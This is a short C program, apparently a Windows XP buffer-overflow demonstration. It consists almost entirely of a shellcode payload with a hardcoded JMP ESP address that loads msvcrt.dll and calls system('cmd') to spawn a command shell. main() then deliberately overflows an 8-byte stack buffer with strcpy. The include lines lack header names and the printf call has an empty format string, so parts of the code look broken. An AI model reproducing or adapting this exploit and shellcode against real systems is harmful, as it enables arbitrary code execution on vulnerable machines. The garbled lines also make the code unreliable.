缓冲区溢出-xp-cmd

#include
#include

char name[] =
 "\x41\x41\x41\x41"
 "\x41\x41\x41\x41"
 "\x41\x41\x41\x41"
 "\x12\x45\xfa\x7f"   //JMP ESP ADDRESS
 "\x55"                   //push ebp
 "\x8B\xEC"               //mov ebp, esp
 "\x33\xC0"               //xor eax, eax
 "\x50"                   //push eax
  "\x50"                   //push eax
 "\x50"                   //push eax
 "\xC6\x45\xF5\x6D"       //mov byte ptr[ebp-0Bh], 6Dh
 "\xC6\x45\xF6\x73"       //mov byte ptr[ebp-0Ah], 73h
 "\xC6\x45\xF7\x76"       //mov byte ptr[ebp-09h], 76h
 "\xC6\x45\xF8\x63"       //mov byte ptr[ebp-08h], 63h
 "\xC6\x45\xF9\x72"       //mov byte ptr[ebp-07h], 72h
 "\xC6\x45\xFA\x74"       //mov byte ptr[ebp-06h], 74h
 "\xC6\x45\xFB\x2E"       //mov byte ptr[ebp-05h], 2Eh
 "\xC6\x45\xFC\x64"       //mov byte ptr[ebp-04h], 64h
 "\xC6\x45\xFD\x6C"       //mov byte ptr[ebp-03h], 6Ch
 "\xC6\x45\xFE\x6C"       //mov byte ptr[ebp-02h], 6Ch
 "\x8D\x45\xF5"           //lea eax, [ebp-0Bh]
 "\x50"                   //push eax
 "\xBA\x7B\x1D\x80\x7C"   //mov edx, 0x7C801D7Bh
 "\xFF\xD2"               //call edx
 "\x83\xC4\x0C"           //add esp, 0Ch
 "\x8B\xEC"               //mov ebp, esp
 "\x33\xC0"               //xor eax, eax
 "\x50"                   //push eax
 "\x50"                   //push eax
 "\x50"                   //push eax
 "\xC6\x45\xFC\x63"       //mov byte ptr[ebp-04h], 63h
 "\xC6\x45\xFD\x6D"       //mov byte ptr[ebp-03h], 6Dh
 "\xC6\x45\xFE\x64"       //mov byte ptr[ebp-02h], 64h
 "\x8D\x45\xFC"           //lea eax, [ebp-04h]
 "\x50"                   //push eax
 "\xB8\xC7\x93\xBF\x77"   //mov edx, 0x77BF93C7h
 "\xFF\xD0"               //call edx
 "\x83\xC4\x10"           //add esp, 10h
 "\x5D"                   //pop ebp     
 "\x6A\x00"               //push 0
 "\xB8\x12\xCB\x81\x7C"   //mov eax, 0x7c81cb12
 "\xFF\xD0";              //call eax */

int main(void)
{
 char output[8];
 strcpy(output, name);
 for (int i = 0; i < 8 && output[i]; i++)
  printf("", output[i]);
 return 0;
}